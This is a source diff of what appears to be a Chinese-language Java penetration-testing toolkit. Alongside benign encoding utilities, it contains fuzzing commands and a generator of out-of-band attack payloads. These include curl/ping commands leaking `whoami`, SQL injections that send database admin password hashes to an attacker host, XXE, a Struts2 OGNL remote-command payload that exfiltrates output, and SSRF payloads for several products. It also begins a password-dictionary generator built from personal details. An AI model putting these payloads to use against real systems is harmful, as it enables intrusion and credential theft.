"wfuzz -u http://targetIP -H \"HOST: FUZZ.targetIP\" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 315\n" +
|
||||
"wfuzz -H \"Host: FUZZ.targetIP\" --hc 302,400 -t 50 -H \"User-Agent: luzesec\" -c -z file,\"/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt\" http://targetIP\n" +
|
||||
"wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://targetIP -H \"Host: FUZZ.targetIP\" --hl 7\n" +
|
||||
"gobuster vhost -u http://targetIP -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 20 -o gobuster_vhost.txt\n" +
|
||||
"\n"+
|
||||
"ssrf探测:\n"+
|
||||
"ffuf -w /opt/SecLists/Fuzzing/4-digits-0000-9999.txt -u 'http://targetIP/?url=\"http://127.0.0.1:FUZZ\"' -fs 0\n"+
|
||||
"";
|
||||
return textModule.replace("targetIP",str);
|
||||
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,226 @@
|
||||
package com.sec421.controller.baseTools;
|
||||
/**
|
||||
* @author 0x421
|
||||
* @date 2023/12/28 11:20
|
||||
* @github https://github.com/0x7eTeam
|
||||
*/
|
||||
import javafx.scene.control.TextArea;
|
||||
|
||||
import java.net.URLDecoder;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.Base64;
|
||||
import java.io.UnsupportedEncodingException;
|
||||
import java.net.URLEncoder;
|
||||
import java.util.HashMap;
|
||||
|
||||
public class CodingController {
|
||||
|
||||
|
||||
private HashMap<Character, String> morseCodeMap = new HashMap<>();
|
||||
public void Base64Encode(TextArea textArea, String originalString) {
|
||||
try {
|
||||
String encodedString = Base64.getEncoder().encodeToString(originalString.getBytes(StandardCharsets.UTF_8));
|
||||
textArea.setText(encodedString);
|
||||
} catch (Exception e) {
|
||||
textArea.setText("编码失败");
|
||||
}
|
||||
}
|
||||
public void Base64Decode(TextArea textArea, String originalString) {
|
||||
try {
|
||||
byte[] decodedBytes = Base64.getDecoder().decode(originalString);
|
||||
String decodedString = new String(decodedBytes, StandardCharsets.UTF_8);
|
||||
textArea.setText(decodedString);
|
||||
} catch (Exception e) {
|
||||
textArea.setText("解码失败");
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public void UnicodeEncode(TextArea textArea,String text){
|
||||
// Unicode编码
|
||||
StringBuilder unicodeText = new StringBuilder();
|
||||
for (char c : text.toCharArray()) {
|
||||
unicodeText.append("\\u").append(String.format("%04x", (int) c));
|
||||
}
|
||||
textArea.setText(unicodeText.toString());
|
||||
}
|
||||
public void UnicodeDecode(TextArea textArea,String text){
|
||||
// Unicode解码
|
||||
try {
|
||||
StringBuilder decodedText = new StringBuilder();
|
||||
String[] unicodeChars = text.toString().split("\\\\u");
|
||||
for (int i = 1; i < unicodeChars.length; i++) {
|
||||
int codePoint = Integer.parseInt(unicodeChars[i], 16);
|
||||
decodedText.append((char) codePoint);
|
||||
}
|
||||
textArea.setText(decodedText.toString());
|
||||
} catch (Exception e){
|
||||
textArea.setText("解码失败");
|
||||
}
|
||||
}
|
||||
|
||||
public void URLEncoder(TextArea textArea,String text){
|
||||
try {
|
||||
String encodedUrl = URLEncoder.encode(text, "UTF-8");
|
||||
textArea.setText(encodedUrl.toString());
|
||||
} catch (Exception e) {
|
||||
textArea.setText("编码失败");
|
||||
}
|
||||
}
|
||||
public void URLDecoder(TextArea textArea,String text){
|
||||
try {
|
||||
String decodedUrl = URLDecoder.decode(text, "UTF-8");
|
||||
textArea.setText(decodedUrl.toString());
|
||||
} catch (UnsupportedEncodingException e) {
|
||||
textArea.setText("解码失败");
|
||||
}
|
||||
}
|
||||
|
||||
public void ReverseString(TextArea textArea,String text){
|
||||
try {
|
||||
StringBuilder sb = new StringBuilder();
|
||||
for (int i = text.length() - 1; i >= 0; i--) {
|
||||
char c = text.charAt(i);
|
||||
if (Character.isSurrogate(c)) {
|
||||
char reversedChar = Character.reverseBytes(c);
|
||||
sb.append(reversedChar);
|
||||
} else {
|
||||
sb.append(c);
|
||||
}
|
||||
}
|
||||
textArea.setText(sb.toString());
|
||||
} catch (Exception e){
|
||||
textArea.setText("反转失败了");
|
||||
}
|
||||
}
|
||||
private static String bytesToString(byte[] bytes) {
|
||||
StringBuilder sb = new StringBuilder();
|
||||
for (byte b : bytes) {
|
||||
sb.append(b).append(",");
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
public void ASCIIEncoding(TextArea textArea,String text){
|
||||
byte[] bytes = text.getBytes();
|
||||
textArea.setText(bytesToString(bytes));
|
||||
}
|
||||
public void ASCIIDecoding(TextArea textArea,String text){
|
||||
try {
|
||||
text.replace(" ","");
|
||||
// 尝试根据逗号分割字符串
|
||||
String[] asciiStrings = text.split(",");
|
||||
// 如果分割后数组长度为1,尝试根据空格分割字符串
|
||||
if (asciiStrings.length == 1) {
|
||||
asciiStrings = text.split(" ");
|
||||
}
|
||||
byte[] bytes = new byte[asciiStrings.length];
|
||||
for (int i = 0; i < asciiStrings.length; i++) {
|
||||
// 解析为ASCII码值
|
||||
int asciiCode = Integer.parseInt(asciiStrings[i].trim());
|
||||
// 转换为字节类型
|
||||
bytes[i] = (byte) asciiCode;
|
||||
}
|
||||
// ASCII 解码
|
||||
String decodedStr = new String(bytes);
|
||||
textArea.setText(decodedStr.toString());
|
||||
} catch (Exception e){
|
||||
textArea.setText("ASCII转码失败");
|
||||
}
|
||||
} // ROT13编码
|
||||
public void rot13Encode(TextArea textArea,String text) {
|
||||
try{
|
||||
StringBuilder result = new StringBuilder();
|
||||
for(int i=0; i<text.length(); i++) {
|
||||
char c = text.charAt(i);
|
||||
|
||||
if(Character.isLetter(c)) {
|
||||
char base = Character.isLowerCase(c) ? 'a' : 'A';
|
||||
c = (char) (((c - base + 13) % 26) + base);
|
||||
}
|
||||
result.append(c);
|
||||
}
|
||||
textArea.setText(result.toString());
|
||||
} catch (Exception e) {
|
||||
textArea.setText("rot13转换失败");
|
||||
}
|
||||
|
||||
}
|
||||
// 莫斯密码编码
|
||||
public void morseEncode(TextArea textArea,String originalString) {
|
||||
StringBuilder encodedBuilder = new StringBuilder();
|
||||
originalString = originalString.toUpperCase();
|
||||
|
||||
for (char c : originalString.toCharArray()) {
|
||||
String code = this.getMorseCodeMap().get(c);
|
||||
if (code != null) {
|
||||
encodedBuilder.append(code).append(" ");
|
||||
}
|
||||
}
|
||||
textArea.setText(encodedBuilder.toString());
|
||||
}
|
||||
|
||||
// 莫斯密码解码
|
||||
public void morseDecode(TextArea textArea,String encodedString) {
|
||||
StringBuilder decodedBuilder = new StringBuilder();
|
||||
|
||||
String[] codes = encodedString.split(" ");
|
||||
for (String code : codes) {
|
||||
for (char key : this.getMorseCodeMap().keySet()) {
|
||||
if (code.equals(this.getMorseCodeMap().get(key))) {
|
||||
decodedBuilder.append(key);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
textArea.setText(decodedBuilder.toString());
|
||||
}
|
||||
|
||||
public HashMap<Character, String> getMorseCodeMap() {
|
||||
this.morseCodeMap.put('A', ".-");
|
||||
this.morseCodeMap.put('B', "-...");
|
||||
this.morseCodeMap.put('C', "-.-.");
|
||||
this.morseCodeMap.put('D', "-..");
|
||||
this.morseCodeMap.put('E', ".");
|
||||
this.morseCodeMap.put('F', "..-.");
|
||||
this.morseCodeMap.put('G', "--.");
|
||||
this.morseCodeMap.put('H', "....");
|
||||
this.morseCodeMap.put('I', "..");
|
||||
this.morseCodeMap.put('J', ".---");
|
||||
this.morseCodeMap.put('K', "-.-");
|
||||
this.morseCodeMap.put('L', ".-..");
|
||||
this.morseCodeMap.put('M', "--");
|
||||
this.morseCodeMap.put('N', "-.");
|
||||
this.morseCodeMap.put('O', "---");
|
||||
this.morseCodeMap.put('P', ".--.");
|
||||
this.morseCodeMap.put('Q', "--.-");
|
||||
this.morseCodeMap.put('R', ".-.");
|
||||
this.morseCodeMap.put('S', "...");
|
||||
this.morseCodeMap.put('T', "-");
|
||||
this.morseCodeMap.put('U', "..-");
|
||||
this.morseCodeMap.put('V', "...-");
|
||||
this.morseCodeMap.put('W', ".--");
|
||||
this.morseCodeMap.put('X', "-..-");
|
||||
this.morseCodeMap.put('Y', "-.--");
|
||||
this.morseCodeMap.put('Z', "--..");
|
||||
this.morseCodeMap.put('0', "-----");
|
||||
this.morseCodeMap.put('1', ".----");
|
||||
this.morseCodeMap.put('2', "..---");
|
||||
this.morseCodeMap.put('3', "...--");
|
||||
this.morseCodeMap.put('4', "....-");
|
||||
this.morseCodeMap.put('5', ".....");
|
||||
this.morseCodeMap.put('6', "-....");
|
||||
this.morseCodeMap.put('7', "--...");
|
||||
this.morseCodeMap.put('8', "---..");
|
||||
this.morseCodeMap.put('9', "----.");
|
||||
this.morseCodeMap.put('.', ".-.-.-");
|
||||
this.morseCodeMap.put(',', "--..--");
|
||||
this.morseCodeMap.put('?', "..--..");
|
||||
this.morseCodeMap.put('!', "-.-.--");
|
||||
this.morseCodeMap.put(' ', "/");
|
||||
return morseCodeMap;
|
||||
}
|
||||
|
||||
public void setMorseCodeMap(HashMap<Character, String> morseCodeMap) {
|
||||
this.morseCodeMap = morseCodeMap;
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,112 @@
|
||||
package com.sec421.controller.baseTools;
|
||||
/**
|
||||
* @author 0x421
|
||||
* @date 2023/12/28 11:20
|
||||
* @github https://github.com/0x7eTeam
|
||||
*/
|
||||
import javafx.scene.control.TextArea;
|
||||
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.Base64;
|
||||
import java.util.HashMap;
|
||||
|
||||
public class DNSLogerController {
|
||||
public void RCEGenerate(TextArea textArea, String text){
|
||||
String temp = "Liunx/Unix/Mac OS系统:\n" +
|
||||
"\n" +
|
||||
"curl http://"+text+"/`whoami`\n" +
|
||||
"ping `whoami`.1cbschv4.dnslog.pw\n" +
|
||||
"\n" +
|
||||
"Windows系统:\n" +
|
||||
"\n" +
|
||||
"ping %USERNAME%."+text+"";
|
||||
textArea.setText(temp);
|
||||
}
|
||||
public void SQLGenerate(TextArea textArea, String text){
|
||||
String temp = "SQL Server数据库:\n" +
|
||||
"\n" +
|
||||
"DECLARE @host varchar(1024);\n" +
|
||||
"SELECT @host=(SELECT TOP 1\n" +
|
||||
"master.dbo.fn_varbintohexstr(password_hash)\n" +
|
||||
"FROM sys.sql_logins WHERE name='sa')\n" +
|
||||
"+'."+text+"';\n" +
|
||||
"EXEC('master..xp_dirtree\n" +
|
||||
"\"\\\\'+@host+'\\foobar$\"');\n" +
|
||||
"\n" +
|
||||
"Oracle数据库:\n" +
|
||||
"\n" +
|
||||
"SELECT UTL_INADDR.GET_HOST_ADDRESS('"+text+"');\n" +
|
||||
"SELECT UTL_HTTP.REQUEST('http://"+text+"/oracle') FROM DUAL;\n" +
|
||||
"SELECT HTTPURITYPE('http://"+text+"/oracle').GETCLOB() FROM DUAL;\n" +
|
||||
"SELECT DBMS_LDAP.INIT(('oracle."+text+"',80) FROM DUAL;\n" +
|
||||
"SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'."+text+"',80) FROM DUAL;\n" +
|
||||
"\n" +
|
||||
"MySQL数据库:\n" +
|
||||
"\n" +
|
||||
"SELECT LOAD_FILE(CONCAT('\\\\\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql."+text+"\\\\abc'));\n" +
|
||||
"\n" +
|
||||
"PostgreSQL数据库:\n" +
|
||||
"\n" +
|
||||
"DROP TABLE IF EXISTS table_output;\n" +
|
||||
"CREATE TABLE table_output(content text);\n" +
|
||||
"CREATE OR REPLACE FUNCTION temp_function()\n" +
|
||||
"RETURNS VOID AS $\n" +
|
||||
"DECLARE exec_cmd TEXT;\n" +
|
||||
"DECLARE query_result TEXT;\n" +
|
||||
"BEGIN\n" +
|
||||
"SELECT INTO query_result (SELECT passwd\n" +
|
||||
"FROM pg_shadow WHERE usename='postgres');\n" +
|
||||
"exec_cmd := E'COPY table_output(content)\n" +
|
||||
"FROM E\\'\\\\\\\\\\\\\\\\'||query_result||E'.psql."+text+"\\\\\\\\foobar.txt\\'';\n" +
|
||||
"EXECUTE exec_cmd;\n" +
|
||||
"END;\n" +
|
||||
"$ LANGUAGE plpgsql SECURITY DEFINER;\n" +
|
||||
"SELECT temp_function();";
|
||||
textArea.setText(temp);
|
||||
}
|
||||
public void XXEGenerate(TextArea textArea, String text){
|
||||
String temp = "XML实体:\n" +
|
||||
"\n" +
|
||||
"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
|
||||
"<!DOCTYPE root [\n" +
|
||||
"<!ENTITY % remote SYSTEM \"http://"+text+"/xxe_test\">\n" +
|
||||
"%remote;]>\n" +
|
||||
"<root/>";
|
||||
textArea.setText(temp);
|
||||
}
|
||||
public void OTHERGenerate(TextArea textArea, String text){
|
||||
String temp = "Struts2中间件:\n" +
|
||||
"\n" +
|
||||
"xx.action?redirect:http://"+text+"/%25{3*4}\n" +
|
||||
"xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d\"http://"+text+"/result%3d\".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod(\"GET\"),%23http.connect(),%23http.getInputStream()}\n" +
|
||||
"\n" +
|
||||
"FFMpeg插件:\n" +
|
||||
"\n" +
|
||||
"#EXTM3U\n" +
|
||||
"#EXT-X-MEDIA-SEQUENCE:0\n" +
|
||||
"#EXTINF:10.0,\n" +
|
||||
"concat:http://"+text+"\n" +
|
||||
"#EXT-X-ENDLIST\n" +
|
||||
"\n" +
|
||||
"Weblogic中间件:\n" +
|
||||
"\n" +
|
||||
"example.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://"+text+"/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search\n" +
|
||||
"\n" +
|
||||
"ImageMagick插件:\n" +
|
||||
"\n" +
|
||||
"push graphic-context\n" +
|
||||
"viewbox 0 0 640 480\n" +
|
||||
"fill 'url(http://"+text+")'\n" +
|
||||
"pop graphic-context\n" +
|
||||
"\n" +
|
||||
"Resin中间件:\n" +
|
||||
"\n" +
|
||||
"example.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://"+text+"/ssrf\n" +
|
||||
"\n" +
|
||||
"Discuz社群:\n" +
|
||||
"\n" +
|
||||
"example.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://"+text+"/x.jpg[/img]&formhash=x";
|
||||
textArea.setText(temp);
|
||||
}
|
||||
|
||||
}
|
||||
@ -0,0 +1,640 @@
|
||||
package com.sec421.controller.baseTools;
|
||||
/**
|
||||
* @author 0x421
|
||||
* @date 2023/12/28 11:20
|
||||
* @github https://github.com/0x7eTeam
|
||||
*/
|
||||
public class DictionaryController {
|
||||
public static final String HTML_CONTENT = "<!DOCTYPE html>\n" +
|
||||
"<html lang=\"zh\">\n" +
|
||||
"<head>\n" +
|
||||
" <meta charset=\"UTF-8\">\n" +
|
||||
" <style>\n" +
|
||||
" html, body {\n" +
|
||||
" margin: 0;\n" +
|
||||
" padding: 0;\n" +
|
||||
" }\n" +
|
||||
" body {\n" +
|
||||
" padding-bottom: 24px;\n" +
|
||||
" }\n" +
|
||||
" label {\n" +
|
||||
" width: 100px;\n" +
|
||||
" display: inline-block;\n" +
|
||||
" text-align: right;\n" +
|
||||
" font-size: 14px;\n" +
|
||||
" color: #495060;\n" +
|
||||
" padding: 10px 12px 10px 0;\n" +
|
||||
" }\n" +
|
||||
" label:empty {\n" +
|
||||
" width: 0;\n" +
|
||||
" }\n" +
|
||||
" input {\n" +
|
||||
" width: 200px;\n" +
|
||||
" height: 24px;\n" +
|
||||
" padding: 2px 6px;\n" +
|
||||
" font-size: 12px;\n" +
|
||||
" border: 1px solid #dddee1;\n" +
|
||||
" border-radius: 4px;\n" +
|
||||
" }\n" +
|
||||
" input:hover,input:focus {\n" +
|
||||
" border-color: #57a3f3;\n" +
|
||||
" box-shadow: 0 0 0 2px #a0c3e7;\n" +
|
||||
" }\n" +
|
||||
" input:focus {\n" +
|
||||
" outline: none;\n" +
|
||||
" }\n" +
|
||||
" [type='checkbox'] {\n" +
|
||||
" display: none;\n" +
|
||||
" }\n" +
|
||||
" .switch {\n" +
|
||||
" width: 40px;\n" +
|
||||
" height: 20px;\n" +
|
||||
" background: #F1F1F1;\n" +
|
||||
" display: inline-block;\n" +
|
||||
" border-radius: 20px;\n" +
|
||||
" transition: background 0.4s;\n" +
|
||||
" padding: 0;\n" +
|
||||
" vertical-align: middle;\n" +
|
||||
" cursor: pointer;\n" +
|
||||
" }\n" +
|
||||
" .switch > .ball {\n" +
|
||||
" display: block;\n" +
|
||||
" width: 16px;\n" +
|
||||
" height: 16px;\n" +
|
||||
" border-radius: 16px;\n" +
|
||||
" background: #E9E9E9;\n" +
|
||||
" border: 2px solid #d5d0d0;\n" +
|
||||
" transition: all 0.4s;\n" +
|
||||
"\n" +
|
||||
" }\n" +
|
||||
" [type='checkbox']:checked + label {\n" +
|
||||
" background: #2d8cf0;\n" +
|
||||
" }\n" +
|
||||
" [type='checkbox']:checked + label > .ball {\n" +
|
||||
" margin-left: 20px;\n" +
|
||||
" }\n" +
|
||||
" [type='checkbox']:active + label > .ball {\n" +
|
||||
" width: 30px;\n" +
|
||||
" margin-left: 10px;\n" +
|
||||
" }\n" +
|
||||
" input[type='button'] {\n" +
|
||||
" background-color: #57a3f3;\n" +
|
||||
" color: white;\n" +
|
||||
" border: 1px solid #e4e5e7;\n" +
|
||||
" box-shadow: unset;\n" +
|
||||
" cursor: pointer;\n" +
|
||||
" padding: 0 10px;\n" +
|
||||
" height: 35px;\n" +
|
||||
" font-size: 14px;\n" +
|
||||
" }\n" +
|
||||
" .alert-info {\n" +
|
||||
" background-color: rgb(232,243,255);\n" +
|
||||
" border: 1px solid transparent;\n" +
|
||||
" display: flex;\n" +
|
||||
" align-items: center;\n" +
|
||||
" justify-content: flex-start;\n" +
|
||||
" padding: 8px 15px;\n" +
|
||||
" margin: 10px 48px;\n" +
|
||||
" width: 800px;\n" +
|
||||
" font-size: 14px;\n" +
|
||||
" }\n" +
|
||||
" .alert-icon {\n" +
|
||||
" width: 1.1em;\n" +
|
||||
" margin: 0 8px 0 0;\n" +
|
||||
" color: rgb(22,93,255);\n" +
|
||||
" vertical-align: middle;\n" +
|
||||
" }\n" +
|
||||
" .loading {\n" +
|
||||
" position: fixed;\n" +
|
||||
" top: 0;\n" +
|
||||
" left: 0;\n" +
|
||||
" width: 100vw;\n" +
|
||||
" height: 100vh;\n" +
|
||||
" display: flex;\n" +
|
||||
" align-items: center;\n" +
|
||||
" justify-content: center;\n" +
|
||||
" padding-top: 0;\n" +
|
||||
" background-color: rgba(0, 0, 0, 0.4);\n" +
|
||||
" }\n" +
|
||||
" .loading-bg {\n" +
|
||||
" border-radius: 50%;\n" +
|
||||
" border: 5px solid #d5d0d0;\n" +
|
||||
" border-left: 5px solid rgb(22, 93, 255);\n" +
|
||||
" animation: load 1.5s linear infinite;\n" +
|
||||
" width: 50px;\n" +
|
||||
" height: 50px;\n" +
|
||||
" }\n" +
|
||||
"\n" +
|
||||
" @keyframes load {\n" +
|
||||
" from {\n" +
|
||||
" transform: rotate(0deg);\n" +
|
||||
" }\n" +
|
||||
" to {\n" +
|
||||
" transform: rotate(360deg);\n" +
|
||||
" }\n" +
|
||||
" }\n" +
|
||||
" .nav-item {\n" +
|
||||
" height: 100%;\n" +
|
||||
" cursor: pointer;\n" +
|
||||
" z-index: 1;\n" +
|
||||
" }\n" +
|
||||
" .nav-item>:first-child {\n" +
|
||||
" line-height: 50px;\n" +
|
||||
" padding: 0 15px;\n" +
|
||||
" }\n" +
|
||||
" .nav-item a {\n" +
|
||||
" text-align: center;\n" +
|
||||
" color: unset;\n" +
|
||||
" text-decoration: unset;\n" +
|
||||
" }\n" +
|
||||
" .nav-item:hover, .nav-item .nav-item-box li:hover {\n" +
|
||||
" background-color: #57a3f3;\n" +
|
||||
" }\n" +
|
||||
" .nav-item .nav-item-box {\n" +
|
||||
" max-height: 0;\n" +
|
||||
" transition: max-height 0.5s;\n" +
|
||||
" overflow: hidden;\n" +
|
||||
" }\n" +
|
||||
" .nav-item:hover .nav-item-box {\n" +
|
||||
" max-height: 2000px;\n" +
|
||||
" }\n" +
|
||||
" .nav-item .nav-item-box ul {\n" +
|
||||
" background-color: #495060;\n" +
|
||||
" margin: 0;\n" +
|
||||
" padding: 0;\n" +
|
||||
" }\n" +
|
||||
" .nav-item .nav-item-box li {\n" +
|
||||
" padding: 5px;\n" +
|
||||
" }\n" +
|
||||
" </style>\n" +
|
||||
" <script>\n" +
|
||||
" function reset() {\n" +
|
||||
" document.getElementById('first_name').value = '';\n" +
|
||||
" document.getElementById('second_name').value = '';\n" +
|
||||
" document.getElementById('third_name').value = '';\n" +
|
||||
" document.getElementById('birthday').value = '';\n" +
|
||||
" document.getElementById('birthday2').value = '';\n" +
|
||||
" document.getElementById('email').value = '';\n" +
|
||||
" document.getElementById('mobile').value = '';\n" +
|
||||
" document.getElementById('telephone').value = '';\n" +
|
||||
" document.getElementById('username').value = '';\n" +
|
||||
" document.getElementById('account').value = '';\n" +
|
||||
" document.getElementById('organization').value = '';\n" +
|
||||
" document.getElementById('company').value = '';\n" +
|
||||
" document.getElementById('like_use').value = '';\n" +
|
||||
" document.getElementById('id_card').value = '';\n" +
|
||||
" document.getElementById('connector').value = '';\n" +
|
||||
" document.getElementById('connector_left').checked = false;\n" +
|
||||
" document.getElementById('connector_middle').checked = false;\n" +
|
||||
" document.getElementById('connector_right').checked = false;\n" +
|
||||
" document.getElementById('common').value = '123,888,666,000,111,aaa,abc,qaz,qwe,asd,zxc,!@#,1234,1qaz,qwer,asdf,zxcv,!@#$,1357,2468,0123,6789,6666,8888,12345,123456';\n" +
|
||||
" document.getElementById('have_year').checked = false;\n" +
|
||||
" document.getElementById('year').value = '';\n" +
|
||||
" document.getElementById('number_filter').checked = false;\n" +
|
||||
" document.getElementById('string_filter').checked = false;\n" +
|
||||
" document.getElementById('long').value = 16;\n" +
|
||||
" document.getElementById('short').value = 6;\n" +
|
||||
" document.getElementById('capitalize').checked = true;\n" +
|
||||
" document.getElementById('lowercase').checked = false;\n" +
|
||||
" document.getElementById('uppercase').checked = false;\n" +
|
||||
" document.getElementById('result').style.display='none';\n" +
|
||||
" }\n" +
|
||||
"\n" +
|
||||
" /**\n" +
|
||||
" * 得到字符串大写,包含原文,去空\n" +
|
||||
" * @param l list,需要处理的字符串列表\n" +
|
||||
" */\n" +
|
||||
" function get_upper(l) {\n" +
|
||||
" const upperPattern = new RegExp(\".*[a-z].*\");\n" +
|
||||
" return l.concat(l.map(i=>upperPattern.test(i)?i.toUpperCase():'')).filter(Boolean);\n" +
|
||||
" }\n" +
|
||||
"\n" +
|
||||
" /**\n" +
|
||||
" * 得到字符串小写,包含原文,去空\n" +
|
||||
" * @param l list,需要处理的字符串列表\n" +
|
||||
" */\n" +
|
||||
" function get_lower(l) {\n" +
|
||||
" const lowerPattern = new RegExp(\".*[A-Z].*\");\n" +
|
||||
" return l.concat(l.map(i=>lowerPattern.test(i)?i.toLowerCase():'')).filter(Boolean);\n" +
|
||||
" }\n" +
|
||||
"\n" +
|
||||
" /**\n" +
|
||||
" * 首字母大写,包含原文,去空\n" +
|
||||
" * @param l list,需要处理的字符串列表\n" +
|
||||
" */\n" +
|
||||
" function get_capitalize(l) {\n" +
|
||||
" const capitalizePattern = new RegExp(\"^[a-z].*\");\n" +
|
||||
" return l.concat(l.map(i=>capitalizePattern.test(i)?i.replace(/( |^)[a-z]/g, (L) => L.toUpperCase()):'')).filter(Boolean);\n" +
|
||||
" }\n" +
|
||||
"\n" +
|
||||
" /**\n" +
|
||||
" * 去重去空后的列表\n" +
|
||||
" * @param l list,需要处理的字符串列表\n" +
|
||||
" */\n" +
|
||||
" function get_distinct_list(l) {\n" +
|
||||
" return Array.from(new Set(l)).filter(Boolean);\n" +
|
||||
" }\n" +
|
||||
"\n" +
|
||||
" /**\n" +
|
||||
" * 小于等于x位自动重复, 返回原文及重复后的列表组合,去空\n" +
|
||||
" * @param l list,需要重复的列表\n" +
|
||||
" * @param x int,小于等于此长度将自动重复\n" +
|
||||
" */\n" +
|
||||
" function get_repeat(l, x) {\n" +
|
||||
" x = (typeof x === 'undefined') ? 3: x;\n" +
|
||||
" const lr = l.map(i => (i.length > 0 && i.length <= x) ? i+i: '');\n" +
|
||||
" return l.concat(lr).filter(Boolean);\n" +
|
||||
" }\n" +
|
||||
"\n" +
|
||||
" /**\n" +
|
||||
" * 取密码前几位及后几位,包含原文,去空\n" +
|
||||
" * @param s str, 需要处理的字符串\n" +
|
||||
" * @param l int, 需要的长度,可输入任意数量\n" +
|
||||
" */\n" +
|
||||
" function get_head_tail(s, ...l) {\n" +
|
||||
" return [s].concat(l.map(i=>s.length>i?[s.substring(0,i), s.substring(s.length-i)]:[]).reduce((a, b) => a.concat(b))).filter(Boolean);\n" +
|
||||
" }\n" +
|
||||
"\n" +
|
||||
" /**\n" +
|
||||
" * 列表去掉过长和过短\n" +
|
||||
" * @param l list, 需要处理的字符串列表\n" +
|
||||
" * @param start 最小长度\n" +
|
||||
" * @param end 最大长度\n" +
|
||||
" */\n" +
|
||||
" function drop_short_long(l, start, end) {\n" +
|
||||
" start = (typeof start === 'undefined') ? 6: start;\n" +
|
||||
" end = (typeof end === 'undefined') ? 16: end;\n" +
|
||||
" return l.filter(i=>((start ? i.length>=start : true) && (end ? i.length<=end : true)));\n" +
|
||||
" }\n" +
|
||||
"\n" +
|
||||
" /**\n" +
|
||||
" * 去掉纯字母或纯数字\n" +
|
||||
" * @param l 需要处理的字符串列表\n" +
|
||||
" * @param rtype 可选str或int\n" +
|
||||
" */\n" +
|
||||
" function drop_string_int(l, rtype) {\n" +
|
||||
" if (['str', 'int'].indexOf(rtype) < 0) {\n" +
|
||||
" return l;\n" +
|
||||
" }\n" +
|
||||
" const pattern = rtype === 'str' ? /^[a-zA-Z]*$/ : /^[0-9]*$/;\n" +
|
||||
" return l.filter(i=>!pattern.test(i));\n" +
|
||||
" }\n" +
|
||||
"\n" +
|
||||
" /**\n" +
|
||||
" * 计算array的笛卡尔积,相当于python中的itertools.product\n" +
|
||||
" * calc_descartes([['2019', '2020'], ['白色', '灰色', '蓝色']]) => ['2019白色', '2019灰色', '2019蓝色', '2020白色', '2020灰色', '2020蓝色']\n" +
|
||||
" * @param array\n" +
|
||||
" */\n" +
|
||||
" function calc_descartes(array) {\n" +
|
||||
" if (array.length < 2) return array[0] || [];\n" +
|
||||
" return array.reduce((total, currentValue) => {\n" +
|
||||
" let res = [];\n" +
|
||||
" total.forEach(t => {\n" +
|
||||
" currentValue.forEach(cv => {\n" +
|
||||
" res.push([t, cv]);\n" +
|
||||
" })\n" +
|
||||
" })\n" +
|
||||
" return res;\n" +
|
||||
" })\n" +
|
||||
" }\n" +
|
||||
"\n" +
|
||||
" /**\n" +
|
||||
" * 数组排列组合,等于python中的itertools.permutations,permutations([1,2,3,4], 2) => [[1,2],[1,3],[1,4],[2,1],[2,3],[2,4],[3,1],[3,2],[3,4],[4,1],[4,2],[4,3]]\n" +
|
||||
" * @param arr 源数组\n" +
|
||||
" * @param size 选取元素的个数\n" +
|
||||
" */\n" +
|
||||
" function permutations(arr, size) {\n" +
|
||||
" //定义数组保存结果\n" +
|
||||
" let result = [];\n" +
|
||||
"\n" +
|
||||
" //selected数组包含已经选中的元素\n" +
|
||||
" //arr数组包含未选中元素数组,size表示还需选取元素的个数\n" +
|
||||
" function _combine(selected, arr, size) {\n" +
|
||||
" //如果size===0,则一次组合完成,存入result数组并返回\n" +
|
||||
" if (size === 0) {\n" +
|
||||
" result.push(selected);\n" +
|
||||
" return;\n" +
|
||||
" }\n" +
|
||||
" //遍历所有可能选中的元素,遍历的次数为数组长度减去(size-1)\n" +
|
||||
" for (let i = 0; i < arr.length; i++) {\n" +
|
||||
" //复制数组,避免对selected数组数据的更改\n" +
|
||||
" let temp = selected.slice();\n" +
|
||||
" temp.push(arr[i]);\n" +
|
||||
" _combine(temp, arr.slice(0, i).concat(arr.slice(i + 1)), size - 1);\n" +
|
||||
" }\n" +
|
||||
" }\n" +
|
||||
" _combine([], arr, size);\n" +
|
||||
" return result;\n" +
|
||||
" }\n" +
|
||||
" function show_loading() {\n" +
|
||||
" const loading = document.getElementById('loading');\n" +
|
||||
" loading.style.display = 'block';\n" +
|
||||
" }\n" +
|
||||
" function hide_loading() {\n" +
|
||||
" const loading = document.getElementById('loading');\n" +
|
||||
" loading.style.display = 'none';\n" +
|
||||
" }\n" +
|
||||
"\n" +
|
||||
" function main() {\n" +
|
||||
" show_loading();\n" +
|
||||
" setTimeout(() => {\n" +
|
||||
" const start_time = new Date().getTime();\n" +
|
||||
" const pass_list = generate();\n" +
|
||||
"\n" +
|
||||
" const pass_first_length = document.getElementById('pass_first_length');\n" +
|
||||
" const pass_first_text = document.getElementById('pass_first_text');\n" +
|
||||
" const pass_second_length = document.getElementById('pass_second_length');\n" +
|
||||
" const pass_second_text = document.getElementById('pass_second_text');\n" +
|
||||
" const pass_third_length = document.getElementById('pass_third_length');\n" +
|
||||
" const pass_third_text = document.getElementById('pass_third_text');\n" +
|
||||
" const pass_all_length = document.getElementById('pass_all_length');\n" +
|
||||
